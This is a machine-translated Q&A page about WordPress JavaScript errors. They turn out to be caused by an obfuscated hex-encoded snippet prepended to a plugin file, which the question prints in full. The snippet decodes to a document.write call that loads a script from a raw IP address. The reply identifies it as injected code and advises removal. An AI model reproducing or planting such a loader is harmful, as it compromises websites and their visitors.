簡體   English   中英

語法錯誤:丟失; Wordpress中的語句前錯誤

[英]SyntaxError: missing ; before statement error in wordpress

一切都可以在localhost上正常工作,但是在實時服務器上,突然我得到了每個單獨js文件的上述錯誤。

我在functions.php注釋掉了wp_enqueue_scripts ,以查看錯誤是否消失但仍然存在。

在下面的行中還添加了以為字符串混淆可能導致了此問題。

//prevent javascript concat
define('CONCATENATE_SCRIPTS', false);

我找不到導致此問題的原因。 請建議我。 我可以提供我網站的測試訪問權限。

編輯:

我打開了控制台中顯示的我的插件文件之一,並帶有錯誤注釋。 在實際代碼開始之前,注意到了奇怪的字符串。 我懷疑這可能是問題所在。

這是wordpress的前綴還是其他地方不需要的字符串?

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() {

    var meta_image_frame;
    var meta_mobileimage_frame;

        // Runs when the image button is clicked.
        jQuery('#banner_manager_image_button').click(function(e){

        ....plugins js code-----
        });


});

您的_0xaae8已丟失; jQuery(document).ready(


此代碼: var _0xaae8=[...看起來像注入的代碼。 通常,我看到這樣的代碼是通過一些錯誤的書面工具/插件/庫注入的,這些工具/插件/庫允許用戶使用文件(例如,將文件上傳到服務器)。 如果不是您的代碼,我建議將其刪除,並檢查服務器上的其他文件。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM